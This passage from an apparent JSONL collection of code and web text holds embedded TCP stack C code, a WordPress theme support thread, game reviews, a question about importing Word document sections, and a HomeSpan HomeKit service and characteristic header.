>= MAXFLUSH);\n\n        // send the packet if we are to send it.\n        if(fForceAck)\n        {\n            SMGR *  pSMGR = (SMGR*)alloca(pSocket->cbTxSMGR);\n\n            if(pSMGR != NULL && (SMGRRead((HSMGR) &pSocket->smgrRxTxBuff, pSocket->cbRxSMGR, pSMGR, pSocket->cbTxSMGR) == pSocket->cbTxSMGR))\n            {\n                // clean up our snd pointers and scale to sendUNA\n                bool fScaled = TCPScaleSndIndexes(pSocket, pSMGR);\n\n                // see if we get the payload space\n                if(((*pcbSend) = IPSGetPayloadFromAdaptor(pIpStack, *pcbSend)) > 0)\n                {\n                    // read the data\n                    *pcbSend  = SMGRRead((HSMGR) pSMGR, pSocket->sndNXT,  pIpStack->pPayload, *pcbSend);\n                    pIpStack->cbPayload = *pcbSend;\n\n                }\n\n                // this is somewhat complicated, if we failed to get a payload we can swamp\n                // the heap with empty IpStacks with no payload, and then we can't take either\n                // incoming or outgoing packets. So we can just refuse to send the data until\n                // more space opens up. But.... what if we need to send an ACK and we don't. We\n                // can send an ACK without a payload, if we kill the whole packet we will kill the required\n                // ACK. But..... chances are the reason we ran out of space is because somebody is sending /recieving\n                // a ton of data. Usually we can send data faster than the adaptor can take it, so sending is usually the\n                // problem, and if the adaptor is behind, there are lots of ACKs in the send queue. If we are recieving\n                // a ton of data so fast we can't keep up... well we are in trouble anyway as eventually we will get too\n                // far behind no matter if we send our ACK or not. So, since the only recoverable condition is that\n                // we are sending too quickly, not sending the ACK is probably not a loss. If we don't have room for the\n                // data, just skip the send no matter what the need is to send the ACK.\n                else\n                {\n                    fForceAck = false;\n                }\n\n                // save away the table that is stored on the stack\n                // this should not fail! It is a fixed size and already allocated\n                // HOWEVER, we only did a READ, so the stream has not changed, no need to write back\n                // unless we did scaling of the sndUNA, then it did change.\n                if(fScaled)\n                {\n                    SMGRWrite((HSMGR) &pSocket->smgrRxTxBuff, pSocket->cbRxSMGR, pSMGR, pSocket->cbTxSMGR);\n                }\n            }\n        }\n    }\n\n    // we don't need to update the sendNXT pointer because that\n    // will happen if we actually send it\n    return(fForceAck);\n}\n\nbool TCPScaleSndIndexes(TCPSOCKET * pSocket, SMGR *  pSMGR)\n{\n    if(pSocket->sndUNA > 0)\n    {\n        /************************************************************************************/\n        /**************************   SCALE SEND INDEXES    *********************************/\n        /************************************************************************************/\n        // Keep ourselves scaled at the bottom of the uint32_t so we can do linear compares\n        // we can remove all Tx data that has been ACK'ed.\n        SMGRMoveEnd((HSMGR) pSMGR, pSocket->sndUNA, SMGRAtBegining);\n\n        pSocket->sndISS             += pSocket->sndUNA;\n        pSocket->sndNXT             -= pSocket->sndUNA;\n        pSocket->sndEND             -= pSocket->sndUNA;\n        pSocket->sndPSH             -= pSocket->sndUNA;\n        pSocket->sndUP              -= pSocket->sndUNA;\n        pSocket->sndRTTComplete     -= pSocket->sndUNA;\n\n        // make UNA the bottom\n        pSocket->sndUNA             =  0;\n\n        return(true);\n    }\n\n    return(false);\n}\n\n/*********************************************************************\n * Function:        IPSTACK * TCPFlushSocketAndFIN(IPSTACK * pIpStack, SOCKET * pSocket, uint32_t tCur, int32_t * pcbSend)\n *\n * Input:           pIpStack    If data came in on the adaptor, the\n *                              this contains the incoming segment.\n *\n *                  pSocket     The socket to be processessed. All active sockets are process on each loop,\n *                              so the pStack can easily be NULL if no data come in on the adaptor.\n *                              The pSocket can be NULL if data came in on the adaptor for our IP\n *                              but did not match any active or listin port.\n *\n *                  tCur        The time when we entered the TCP State machine\n *\n *\n *\n * Output:          pcbSend The number of bytes we are sending\n *\n * Returns:         An IPSTACK with either data to be transmitted, or a FIN segement. If NULL it means\n *                  you passed an IPSTACK of NULL Keep calling this\n *                  until you get a FIN packet.\n *\n * Note:\n *\n *\n ********************************************************************/\nstatic IPSTACK * TCPFlushSocketAndFIN(IPSTACK * pIpStack, TCPSOCKET * pSocket, uint32_t tCur, int32_t * pcbSend)\n{\n\n    // we must have our pointers\n    if(pIpStack == NULL || pSocket == NULL || pcbSend == NULL)\n    {\n        return(NULL);\n    }\n\n    // if we have sent everything.\n    // send a FIN\n\n    // you might think this needs to be sndEND == sndNXT\n    // but some IP stack will just close if they see a FIN, even if they\n    // missed packet before the FIN, so make sure they got everything.\n    if(pSocket->sndEND == pSocket->sndUNA)\n    {\n        *pcbSend                    = 1;\n        pIpStack->pTCPHdr->fFin     = true;\n    }\n    // otherwise keep sending data\n    else if(!TCPProcessTxSocketBuffers(pIpStack, pSocket, tCur, pcbSend))\n    {\n        // now continue to flush data\n        pIpStack = IPSRelease(pIpStack);\n    }\n\n    return(pIpStack);\n}\n\n/*********************************************************************\n * Function:        IPSTACK * TCPCreateSyn(SOCKET * pSocket, uint32_t * pcbOptions, IPSTATUS * pStatus)\n *\n * Input:           pSocket     The socket to create the SYN packet for.\n *\n * Output:\n *                  pcbOptions  This is the number of additonal bytes in the TCPHDR for the options field.\n *                              this is more than just what goes in cbSend, as the TCPHDR needs to know this as well\n *                              to skip around the header as the options are part of the header.\n *\n *                  pStatus An optional status variable to recieve the status/error of the function\n *\n * Returns:         A new IPSTACK with the SYN already to go. Or NULL if an IPSTACK could\n *                  not be obtained or on error.\n *\n * Note:            This is used by TCPOpen, so it can't be static. This is a very limited\n *                  function and focuses on getting an IPSTACK and putting in the MSS option.\n *\n *\n ********************************************************************/\nIPSTACK * TCPCreateSyn(TCPSOCKET * pSocket, uint32_t * pcbOptions, IPSTATUS * pStatus)\n{\n    TCPOPTION * pOption     = NULL;\n    IPSTACK *   pIpStack    = NULL;\n\n    if ((pIpStack = IPSRefresh(NULL, pSocket->s.pLLAdp, pStatus)) != NULL )\n    {\n        pIpStack->pTCPHdr->fSyn         = true;\n\n        // put in an MSS option\n        pOption                         = (TCPOPTION *) (pIpStack->pTCPHdr+1);\n        pOption->optionKind             = tcpOpKdMaxSegSize;\n        pOption->length                 = 4;\n        pOption->rgu16[0]               = pSocket->cbLocalMSS;\n\n        *pcbOptions                     = pOption->length;\n\n//        pSocket->tSndRTTStart           = SYSGetMilliSecond();\n\n        return(pIpStack);\n    }\n    return(NULL);\n}\n\n/*********************************************************************\n * Function:        void UpdateSaSv(SOCKET *  pSocket, int32_t rtt)\n *\n * Input:           pSocket     The socket to calculate the new Jacobson values on\n *\n *                  rtt         The current Round-Trip-Time\n *\n * Returns:         Nothing\n *\n * Note:            You should only call this with a valid rtt\n *                  that is you must apply Karn's skip on retransmit\n *\n ********************************************************************/\nstatic void UpdateSaSv(TCPSOCKET *  pSocket, int32_t rtt)\n{\n    int32_t err = 0;\n\n    // we don't ever want a RTT of zero\n    // we could easily have an RTT of less than 1ms, so say 1ms.\n    if(rtt == 0) rtt = 1;\n\n    // Err = m - a, sa = 2^^3*a, m = rtt, a = average RTT\n    // Err = m - a\n    err = rtt - (pSocket->RTTsa >> 3);\n\n    // sa = sa + err; sa = 2^^3*a\n    // 2^^3*a = 2^^3*a + Err\n    pSocket->RTTsa += err;\n\n    // |err|\n    if(err < 0)\n    {\n        err *= -1;\n    }\n\n    // sv = sv - (|err| - v); sv = 2^^2*v\n    // 2^^2*v = 2^^2*v + (|Err| - v)\n    pSocket->RTTsv += (err - (pSocket->RTTsv >> 2));\n\n    // if the error is greater than 2 * the average,\n    // remember sa is 8 * average,\n    // then say we don't have a valid RTT and we should ACK\n    // immediately after data comes in.\n    if(err > (pSocket->RTTsa >> 2))\n    {\n        pSocket->cRTT = 0;\n    }\n    else if(pSocket->cRTT < cRTTINVALID)\n    {\n        pSocket->cRTT++;\n    }\n}", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "I have upgraded the framework to 2.0 and now my header is now transparent. Before the upgrade it was the same color as the background... any suggestions??http://endtimesresearchgroup.com\nI see this in your CSS:\nbackground: url(\"http://endtimesresearchgroup.com/wp-content/themes/news/images/header.png\") no-repeat scroll 0 0 transparent !important;\nCan you tell me if you see it?\nNo I don't see that... this is what is in my style.css\nborder-left: 1px solid #d5d5d5;\nborder-right: 1px solid #d5d5d5;\nborder-top: 1px solid #d5d5d5;\nmargin: 0 auto;\nWhen I look at the file in the editor I don't see the code, but when I look at it in Firebug I do see the code. I can't seem to find it in my css file though... any suggestions??\nThen it's loaded via Appearance > Header. Try resetting that page.\nThat's what I did. I had to put an image up there then save it, then I did the remove image and it is working fine. Something happened in the framework upgrade to 2.0, before that it was working fine...\nThanks for your help!!\nOh, you're welcome! Glad it's working for you!\nYou must be logged in to reply to this topic.\nSubscribe to get early access to new themes, discounts and brief updates about what's new with StudioPress!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I've always been very picky with puzzle games, so much so that there's very few that I really enjoy thoroughly. This is one of those games that I enjoy thoroughly. It's very well designed, has a heck ton of puzzles and yet somehow nearly every single one of them is a unique challenge.\nThanks you Northernlion for showcasing this game, it's really just incredible.\nThis is exactly what it says on the tin, with tons upon tons of customization to fit whatever FPS game you fancy. I've had it since the first alpha and even though it was already great then, its functionality and customizability has been steadily improving.\nIt turns boring aim practice into a more engaging package, and makes improvement more tangible by way of challenge scores. For 10 bucks it's pretty much a steal.\nIf you liked quake, definitely check out this game. Even though it's in early alpha, it's already really polished and works amazingly. Every update has been amazing so far, and I'm expecting this trend to continue.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I have a problem with a NodeImporter class. When using ImportNode method, paragraphs that are keeping end of section info (para.IsEndOfSection) were not imported with this property. That makes final document without a sections from imported one.\nWhat I would like to accomplish. There are two documents and I am importing one into another at Any Location of the first document (it is not bookmark). I would like to preserve sections structure (with all breaks) and header-footer nodes from source document.\nI was looking for solution on following link .\nUnfortunately it is not satisfying our case. I expect to have same behavior as when using AltChunk from OpenXml. Old logic merges HeaderFooter from source document into destination's target section and import's all body nodes. In case when source document has section breaks, these will be also added to destination document. HeaderFooters will follow the sections.\nHere it the code snipped that we are using in old design.\nBasePart parentPart = elementToInsertBefore.GetParentPart(this.document.MainDocumentPart);\nif (parentPart != null)\nAlternativeFormatImportPart inDocPart = parentPart.AddAlternativeFormatImportPart(AlternativeFormatImportPartType.WordprocessingML);\nAltChunk altChunk = new AltChunk(new WordProcessing.AltChunk());\naltChunk.Id = parentPart.Part.GetIdOfPart(inDocPart);\nParagraph parentParagraph = elementToInsertBefore.getInsertFileParagraph();\nif (parentParagraph != null)\nHow I can accomplish this ?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 310, "token_count_with_eod": 311, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*********************************************************************************\n *  MIT License\n *  \n *  Copyright (c) 2020-2021 Gregg E. Berman\n *  \n *  https://github.com/HomeSpan/HomeSpan\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy\n *  of this software and associated documentation files (the \"Software\"), to deal\n *  in the Software without restriction, including without limitation the rights\n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n *  copies of the Software, and to permit persons to whom the Software is\n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in all\n *  copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n *  SOFTWARE.\n *  \n ********************************************************************************/\n \n///////////////////////////////////\n// SPAN SERVICES (HAP Chapter 8) //\n///////////////////////////////////\n\n// Macros to define vectors of required and optional characteristics for each Span Service structure\n\n#define REQ(name) req.push_back(&homeSpan.chr.name)\n#define OPT(name) opt.push_back(&homeSpan.chr.name)\n\nnamespace Service {\n\n  struct AccessoryInformation : SpanService { AccessoryInformation() : SpanService{\"3E\",\"AccessoryInformation\"}{\n    REQ(FirmwareRevision);\n    REQ(Identify);\n    REQ(Manufacturer);\n    REQ(Model);\n    REQ(Name);\n    REQ(SerialNumber);\n    OPT(HardwareRevision);      \n  }};\n\n  struct AirPurifier : SpanService { AirPurifier() : SpanService{\"BB\",\"AirPurifier\"}{\n    REQ(Active);\n    REQ(CurrentAirPurifierState);\n    REQ(TargetAirPurifierState);\n    OPT(Name);\n    OPT(RotationSpeed);\n    OPT(SwingMode);\n    OPT(LockPhysicalControls);\n  }};\n\n  struct AirQualitySensor : SpanService { AirQualitySensor() : SpanService{\"8D\",\"AirQualitySensor\"}{\n    REQ(AirQuality);\n    OPT(Name);\n    OPT(OzoneDensity);\n    OPT(NitrogenDioxideDensity);\n    OPT(SulphurDioxideDensity);\n    OPT(PM25Density);\n    OPT(PM10Density);\n    OPT(VOCDensity);\n    OPT(StatusActive);\n    OPT(StatusFault);\n    OPT(StatusTampered);\n    OPT(StatusLowBattery);\n  }};\n\n  struct BatteryService : SpanService { BatteryService() : SpanService{\"96\",\"BatteryService\"}{\n    REQ(BatteryLevel);\n    REQ(ChargingState);\n    REQ(StatusLowBattery);\n    OPT(Name);\n  }};\n\n  struct CarbonDioxideSensor : SpanService { CarbonDioxideSensor() : SpanService{\"97\",\"CarbonDioxideSensor\"}{\n    REQ(CarbonDioxideDetected);\n    OPT(Name);\n    OPT(StatusActive);\n    OPT(StatusFault);\n    OPT(StatusTampered);\n    OPT(StatusLowBattery);\n    OPT(CarbonDioxideLevel);\n    OPT(CarbonDioxidePeakLevel);\n  }};\n\n  struct CarbonMonoxideSensor : SpanService { CarbonMonoxideSensor() : SpanService{\"7F\",\"CarbonMonoxideSensor\"}{\n    REQ(CarbonMonoxideDetected);\n    OPT(Name);\n    OPT(StatusActive);\n    OPT(StatusFault);\n    OPT(StatusTampered);\n    OPT(StatusLowBattery);\n    OPT(CarbonMonoxideLevel);\n    OPT(CarbonMonoxidePeakLevel);\n    }};\n\n  struct ContactSensor : SpanService { ContactSensor() : SpanService{\"80\",\"ContactSensor\"}{\n    REQ(ContactSensorState);\n    OPT(Name);\n    OPT(StatusActive);\n    OPT(StatusFault);\n    OPT(StatusTampered);\n    OPT(StatusLowBattery);\n  }};\n\n  struct Door : SpanService { Door() : SpanService{\"81\",\"Door\"}{\n    REQ(CurrentPosition);\n    REQ(TargetPosition);\n    REQ(PositionState);\n    OPT(Name);\n    OPT(HoldPosition);\n    OPT(ObstructionDetected);\n  }};\n\n  struct Doorbell : SpanService { Doorbell() : SpanService{\"121\",\"Doorbell\"}{\n    REQ(ProgrammableSwitchEvent);\n    OPT(Name);\n    OPT(Volume);\n    OPT(Brightness);\n  }};\n\n  struct Fan : SpanService { Fan() : SpanService{\"B7\",\"Fan\"}{\n    REQ(Active);\n    OPT(Name);\n    OPT(CurrentFanState);\n    OPT(TargetFanState);\n    OPT(RotationDirection);\n    OPT(RotationSpeed);\n    OPT(SwingMode);\n    OPT(LockPhysicalControls);\n  }};\n\n  struct Faucet : SpanService { Faucet() : SpanService{\"D7\",\"Faucet\"}{\n    REQ(Active);\n    OPT(StatusFault);\n    OPT(Name);\n  }};\n\n  struct FilterMaintenance : SpanService { FilterMaintenance() : SpanService{\"BA\",\"FilterMaintenance\"}{\n    REQ(FilterChangeIndication);\n    OPT(Name);\n    OPT(FilterLifeLevel);\n    OPT(ResetFilterIndication);\n  }};\n\n  struct GarageDoorOpener : SpanService { GarageDoorOpener() : SpanService{\"41\",\"GarageDoorOpener\"}{\n    REQ(CurrentDoorState);\n    REQ(TargetDoorState);\n    REQ(ObstructionDetected);\n    OPT(LockCurrentState);\n    OPT(LockTargetState);\n    OPT(Name);\n  }};\n\n  struct HAPProtocolInformation : SpanService { HAPProtocolInformation() : SpanService{\"A2\",\"HAPProtocolInformation\"}{\n    REQ(Version);\n  }};\n\n  struct HeaterCooler : SpanService { HeaterCooler() : SpanService{\"BC\",\"HeaterCooler\"}{\n    REQ(Active);\n    REQ(CurrentTemperature);\n    REQ(CurrentHeaterCoolerState);\n    REQ(TargetHeaterCoolerState);\n    OPT(Name);\n    OPT(RotationSpeed);\n    OPT(TemperatureDisplayUnits);\n    OPT(SwingMode);\n    OPT(CoolingThresholdTemperature);\n    OPT(HeatingThresholdTemperature);\n    OPT(LockPhysicalControls);\n  }};\n\n  struct HumidifierDehumidifier : SpanService { HumidifierDehumidifier() : SpanService{\"BD\",\"HumidifierDehumidifier\"}{\n    REQ(Active);\n    REQ(CurrentRelativeHumidity);\n    REQ(CurrentHumidifierDehumidifierState);\n    REQ(TargetHumidifierDehumidifierState);\n    OPT(Name);\n    OPT(RelativeHumidityDehumidifierThreshold);\n    OPT(RelativeHumidityHumidifierThreshold);\n    OPT(RotationSpeed);\n    OPT(SwingMode);\n    OPT(WaterLevel);\n    OPT(LockPhysicalControls);\n  }};\n\n  struct HumiditySensor : SpanService { HumiditySensor() : SpanService{\"82\",\"HumiditySensor\"}{\n    REQ(CurrentRelativeHumidity);\n    OPT(Name);\n    OPT(StatusActive);\n    OPT(StatusFault);\n    OPT(StatusTampered);\n    OPT(StatusLowBattery);   \n  }};\n\n  struct IrrigationSystem : SpanService { IrrigationSystem() : SpanService{\"CF\",\"IrrigationSystem\"}{\n    REQ(Active);\n    REQ(ProgramMode);\n    REQ(InUse);\n    OPT(RemainingDuration);\n    OPT(Name);\n    OPT(StatusFault);\n  }};\n\n  struct LeakSensor : SpanService { LeakSensor() : SpanService{\"83\",\"LeakSensor\"}{\n    REQ(LeakDetected);\n    OPT(Name);\n    OPT(StatusActive);\n    OPT(StatusFault);\n    OPT(StatusTampered);\n    OPT(StatusLowBattery);       \n  }};\n\n  struct LightBulb : SpanService { LightBulb() : SpanService{\"43\",\"LightBulb\"}{\n    REQ(On);\n    OPT(Brightness);\n    OPT(Hue);\n    OPT(Name);\n    OPT(Saturation);\n    OPT(ColorTemperature);\n  }};\n\n  struct LightSensor : SpanService { LightSensor() : SpanService{\"84\",\"LightSensor\"}{\n    REQ(CurrentAmbientLightLevel);\n    OPT(Name);\n    OPT(StatusActive);\n    OPT(StatusFault);\n    OPT(StatusTampered);\n    OPT(StatusLowBattery);          \n  }};\n\n  struct LockMechanism : SpanService { LockMechanism() : SpanService{\"45\",\"LockMechanism\"}{\n    REQ(LockCurrentState);\n    REQ(LockTargetState);\n    OPT(Name);\n  }};\n\n  struct Microphone : SpanService { Microphone() : SpanService{\"112\",\"Microphone\"}{\n    REQ(Mute);\n    OPT(Name);\n    OPT(Volume);\n  }};\n\n  struct MotionSensor : SpanService { MotionSensor() : SpanService{\"85\",\"MotionSensor\"}{\n    REQ(MotionDetected);\n    OPT(Name);\n    OPT(StatusActive);\n    OPT(StatusFault);\n    OPT(StatusTampered);\n    OPT(StatusLowBattery);       \n  }};\n\n  struct OccupancySensor : SpanService { OccupancySensor() : SpanService{\"86\",\"OccupancySensor\"}{\n    REQ(OccupancyDetected);\n    OPT(Name);\n    OPT(StatusActive);\n    OPT(StatusFault);\n    OPT(StatusTampered);\n    OPT(StatusLowBattery);         \n  }};\n\n  struct Outlet : SpanService { Outlet() : SpanService{\"47\",\"Outlet\"}{\n    REQ(On);\n    REQ(OutletInUse);\n    OPT(Name);\n  }};\n\n  struct SecuritySystem : SpanService { SecuritySystem() : SpanService{\"7E\",\"SecuritySystem\"}{\n    REQ(SecuritySystemCurrentState);\n    REQ(SecuritySystemTargetState);\n    OPT(Name);\n    OPT(SecuritySystemAlarmType);\n    OPT(StatusFault);\n    OPT(StatusTampered);\n  }};  \n\n  struct ServiceLabel : SpanService { ServiceLabel() : SpanService{\"CC\",\"ServiceLabel\"}{\n    REQ(ServiceLabelNamespace);\n  }};  \n\n  struct Slat : SpanService { Slat() : SpanService{\"B9\",\"Slat\"}{\n    REQ(CurrentSlatState);\n    REQ(SlatType);\n    OPT(Name);\n    OPT(SwingMode);\n    OPT(CurrentTiltAngle);\n    OPT(TargetTiltAngle);\n  }};\n\n  struct SmokeSensor : SpanService { SmokeSensor() : SpanService{\"87\",\"SmokeSensor\"}{\n    REQ(SmokeDetected);\n    OPT(Name);\n    OPT(StatusActive);\n    OPT(StatusFault);\n    OPT(StatusTampered);\n    OPT(StatusLowBattery);             \n  }};\n\n  struct Speaker : SpanService { Speaker() : SpanService{\"113\",\"Speaker\"}{\n    REQ(Mute);\n    OPT(Name);\n    OPT(Volume);\n  }};\n\n  struct StatelessProgrammableSwitch : SpanService { StatelessProgrammableSwitch() : SpanService{\"89\",\"StatelessProgrammableSwitch\"}{\n    REQ(ProgrammableSwitchEvent);\n    OPT(Name);\n    OPT(ServiceLabelIndex);\n  }};\n\n  struct Switch : SpanService { Switch() : SpanService{\"49\",\"Switch\"}{\n    REQ(On);\n    OPT(Name);\n  }};\n\n  struct TemperatureSensor : SpanService { TemperatureSensor() : SpanService{\"8A\",\"TemperatureSensor\"}{\n    REQ(CurrentTemperature);\n    OPT(Name);\n    OPT(StatusActive);\n    OPT(StatusFault);\n    OPT(StatusTampered);\n    OPT(StatusLowBattery);\n  }};\n\n  struct Thermostat : SpanService { Thermostat() : SpanService{\"4A\",\"Thermostat\"}{\n    REQ(CurrentHeatingCoolingState);\n    REQ(TargetHeatingCoolingState);\n    REQ(CurrentTemperature);\n    REQ(TargetTemperature);\n    REQ(TemperatureDisplayUnits);\n    OPT(CoolingThresholdTemperature);\n    OPT(CurrentRelativeHumidity);\n    OPT(HeatingThresholdTemperature);\n    OPT(Name);\n    OPT(TargetRelativeHumidity);\n  }};\n\n  struct Valve : SpanService { Valve() : SpanService{\"D0\",\"Valve\"}{\n    REQ(Active);\n    REQ(InUse);\n    REQ(ValveType);\n    OPT(SetDuration);\n    OPT(RemainingDuration);\n    OPT(IsConfigured);\n    OPT(ServiceLabelIndex);\n    OPT(StatusFault);\n    OPT(Name);\n  }};\n\n  struct Window : SpanService { Window() : SpanService{\"8B\",\"Window\"}{\n    REQ(CurrentPosition);\n    REQ(TargetPosition);\n    REQ(PositionState);\n    OPT(Name);\n    OPT(HoldPosition);\n    OPT(ObstructionDetected);\n  }};\n\n  struct WindowCovering : SpanService { WindowCovering() : SpanService{\"8C\",\"WindowCovering\"}{\n    REQ(TargetPosition);\n    REQ(CurrentPosition);\n    OPT(PositionState);   \n    OPT(Name);\n    OPT(HoldPosition);\n    OPT(CurrentHorizontalTiltAngle);\n    OPT(TargetHorizontalTiltAngle);\n    OPT(CurrentVerticalTiltAngle);\n    OPT(TargetVerticalTiltAngle);\n    OPT(ObstructionDetected);\n  }};\n\n}\n\n//////////////////////////////////////////\n// SPAN CHARACTERISTICS (HAP Chapter 9) //\n//////////////////////////////////////////\n\n// Macro to define Span Characteristic structures based on name of HAP Characteristic (see HAPConstants.h), its type (e.g. int, double) and its default value\n\n#define CREATE_CHAR(CHR,TYPE,DEFVAL) struct CHR : SpanCharacteristic { CHR(TYPE value=DEFVAL) : SpanCharacteristic{homeSpan.chr.CHR.id, homeSpan.chr.CHR.perms,(TYPE)value, homeSpan.chr.CHR.name}{} }\n\nnamespace Characteristic {\n  \n  CREATE_CHAR(Active,uint8_t,0);\n  CREATE_CHAR(AirQuality,uint8_t,0);\n  CREATE_CHAR(BatteryLevel,uint8_t,0);\n  CREATE_CHAR(Brightness,int,0);\n  CREATE_CHAR(CarbonMonoxideLevel,double,0);\n  CREATE_CHAR(CarbonMonoxidePeakLevel,double,0);\n  CREATE_CHAR(CarbonMonoxideDetected,uint8_t,0);\n  CREATE_CHAR(CarbonDioxideLevel,double,0);\n  CREATE_CHAR(CarbonDioxidePeakLevel,double,0);\n  CREATE_CHAR(CarbonDioxideDetected,uint8_t,0);\n  CREATE_CHAR(ChargingState,uint8_t,0);\n  CREATE_CHAR(CoolingThresholdTemperature,double,10); \n  CREATE_CHAR(ColorTemperature,uint32_t,50);\n  CREATE_CHAR(ContactSensorState,uint8_t,1);\n  CREATE_CHAR(CurrentAmbientLightLevel,double,1);\n  CREATE_CHAR(CurrentHorizontalTiltAngle,int,0);\n  CREATE_CHAR(CurrentAirPurifierState,uint8_t,1);\n  CREATE_CHAR(CurrentSlatState,uint8_t,0);\n  CREATE_CHAR(CurrentPosition,uint8_t,0);\n  CREATE_CHAR(CurrentVerticalTiltAngle,int,0);\n  CREATE_CHAR(CurrentHumidifierDehumidifierState,uint8_t,1);\n  CREATE_CHAR(CurrentDoorState,uint8_t,1);\n  CREATE_CHAR(CurrentFanState,uint8_t,1);\n  CREATE_CHAR(CurrentHeatingCoolingState,uint8_t,0);\n  CREATE_CHAR(CurrentHeaterCoolerState,uint8_t,1);\n  CREATE_CHAR(CurrentRelativeHumidity,double,0);\n  CREATE_CHAR(CurrentTemperature,double,0);\n  CREATE_CHAR(CurrentTiltAngle,int,0);\n  CREATE_CHAR(FilterLifeLevel,double,0);\n  CREATE_CHAR(FilterChangeIndication,uint8_t,0);\n  CREATE_CHAR(FirmwareRevision,const char *,\"1.0.0\");\n  CREATE_CHAR(HardwareRevision,const char *,\"1.0.0\");\n  CREATE_CHAR(HeatingThresholdTemperature,double,16);\n  CREATE_CHAR(HoldPosition,boolean,false);\n  CREATE_CHAR(Hue,double,0);\n  CREATE_CHAR(Identify,boolean,false);\n  CREATE_CHAR(InUse,uint8_t,0);\n  CREATE_CHAR(IsConfigured,uint8_t,0);\n  CREATE_CHAR(LeakDetected,uint8_t,0);\n  CREATE_CHAR(LockCurrentState,uint8_t,0);\n  CREATE_CHAR(LockPhysicalControls,uint8_t,0);\n  CREATE_CHAR(LockTargetState,uint8_t,0);\n  CREATE_CHAR(Manufacturer,const char *,\"HomeSpan\");\n  CREATE_CHAR(Model,const char *,\"HomeSpan-ESP32\");\n  CREATE_CHAR(MotionDetected,boolean,false);\n  CREATE_CHAR(Mute,boolean,false);\n  CREATE_CHAR(Name,const char *,\"unnamed\");\n  CREATE_CHAR(NitrogenDioxideDensity,double,0);\n  CREATE_CHAR(ObstructionDetected,boolean,false);\n  CREATE_CHAR(PM25Density,double,0);\n  CREATE_CHAR(OccupancyDetected,uint8_t,0);\n  CREATE_CHAR(OutletInUse,boolean,false);\n  CREATE_CHAR(On,boolean,false);\n  CREATE_CHAR(OzoneDensity,double,0);\n  CREATE_CHAR(PM10Density,double,0);\n  CREATE_CHAR(PositionState,uint8_t,2);\n  CREATE_CHAR(ProgramMode,uint8_t,0);\n  CREATE_CHAR(ProgrammableSwitchEvent,uint8_t,0);\n  CREATE_CHAR(RelativeHumidityDehumidifierThreshold,double,50);\n  CREATE_CHAR(RelativeHumidityHumidifierThreshold,double,50);\n  CREATE_CHAR(RemainingDuration,uint32_t,60);\n  CREATE_CHAR(ResetFilterIndication,uint8_t,0);\n  CREATE_CHAR(RotationDirection,int,0);\n  CREATE_CHAR(RotationSpeed,double,0);\n  CREATE_CHAR(Saturation,double,0);\n  CREATE_CHAR(SecuritySystemAlarmType,uint8_t,0);\n  CREATE_CHAR(SecuritySystemCurrentState,uint8_t,3);\n  CREATE_CHAR(SecuritySystemTargetState,uint8_t,3); \n  CREATE_CHAR(SerialNumber,const char *,\"HS-12345\");\n  CREATE_CHAR(ServiceLabelIndex,uint8_t,1);\n  CREATE_CHAR(ServiceLabelNamespace,uint8_t,1);\n  CREATE_CHAR(SlatType,uint8_t,0);\n  CREATE_CHAR(SmokeDetected,uint8_t,0);\n  CREATE_CHAR(StatusActive,boolean,true);\n  CREATE_CHAR(StatusFault,uint8_t,0);\n  CREATE_CHAR(StatusJammed,uint8_t,0);\n  CREATE_CHAR(StatusLowBattery,uint8_t,0);\n  CREATE_CHAR(StatusTampered,uint8_t,0);\n  CREATE_CHAR(SulphurDioxideDensity,double,0);\n  CREATE_CHAR(SwingMode,uint8_t,0);\n  CREATE_CHAR(TargetAirPurifierState,uint8_t,1);\n  CREATE_CHAR(TargetFanState,uint8_t,1);\n  CREATE_CHAR(TargetTiltAngle,int,0);\n  CREATE_CHAR(SetDuration,uint32_t,60);\n  CREATE_CHAR(TargetHorizontalTiltAngle,int,0);\n  CREATE_CHAR(TargetHumidifierDehumidifierState,uint8_t,0);\n  CREATE_CHAR(TargetPosition,uint8_t,0);\n  CREATE_CHAR(TargetDoorState,uint8_t,1);\n  CREATE_CHAR(TargetHeatingCoolingState,uint8_t,0);\n  CREATE_CHAR(TargetRelativeHumidity,double,0);\n  CREATE_CHAR(TargetTemperature,double,16);\n  CREATE_CHAR(TemperatureDisplayUnits,uint8_t,0);\n  CREATE_CHAR(TargetVerticalTiltAngle,int,0);\n  CREATE_CHAR(ValveType,uint8_t,0);\n  CREATE_CHAR(Version,const char *,\"1.0.0\");\n  CREATE_CHAR(VOCDensity,double,0);\n  CREATE_CHAR(Volume,uint8_t,0);\n  CREATE_CHAR(WaterLevel,double,0);\n\n}", "source": "cpt_stack_code", "language": "code", "token_count": 4481, "token_count_with_eod": 4482, "validation_channel": "code", "validation_source": "cpt_stack_code"}
